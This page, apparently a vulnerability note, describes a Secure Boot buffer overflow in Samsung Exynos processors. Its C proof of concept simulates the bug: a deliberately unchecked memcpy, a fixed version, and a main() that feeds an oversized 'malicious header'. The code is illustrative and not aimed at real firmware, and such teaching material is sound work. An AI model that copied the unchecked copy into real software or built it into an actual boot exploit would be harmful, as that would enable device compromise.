CVE-2025-27374 Samsung Exynos处理器Secure Boot组件缓冲区溢出漏洞

// CVE-2025-27374 PoC - Secure Boot Length Check Bypass // This PoC demonstrates the concept of the vulnerability #include <stdio.h> #include <stdint.h> #include <string.h> // Simulated Secure Boot header structure typedef struct { uint32_t magic; uint32_t image_size; uint32_t load_address; uint32_t entry_point; uint8_t signature[256]; uint8_t* image_data; } secure_boot_header_t; // Vulnerable function - missing length check void load_secure_image(secure_boot_header_t* header) { uint8_t buffer[1024]; // VULNERABILITY: Missing boundary check on image_size // Should check: if (header->image_size > sizeof(buffer)) memcpy(buffer, header->image_data, header->image_size); // If image_size > 1024, this causes OOB write } // Secure version with proper validation void load_secure_image_fixed(secure_boot_header_t* header) { uint8_t buffer[1024]; // FIX: Proper length check before copy if (header->image_size > sizeof(buffer)) { printf("[-] Error: Image size exceeds buffer boundary\n"); return; } memcpy(buffer, header->image_data, header->image_size); printf("[+] Secure image loaded successfully\n"); } // Exploit demonstration int main() { printf("[*] CVE-2025-27374 PoC - Secure Boot OOB Write\n"); // Create malicious header with oversized image_size secure_boot_header_t malicious_header; malicious_header.magic = 0xDEADBEEF; malicious_header.image_size = 2048; // Exceeds buffer size (1024) malicious_header.load_address = 0x10000; malicious_header.entry_point = 0x10000; // Allocate oversized data malicious_header.image_data = (uint8_t*)malloc(2048); memset(malicious_header.image_data, 0x41, 2048); printf("[*] Triggering vulnerable load function...\n"); load_secure_image(&malicious_header); // OOB write occurs printf("[+] PoC demonstrates buffer overflow in Secure Boot\n"); printf("[*] Mitigation: Apply Samsung security update\n"); free(malicious_header.image_data); return 0; }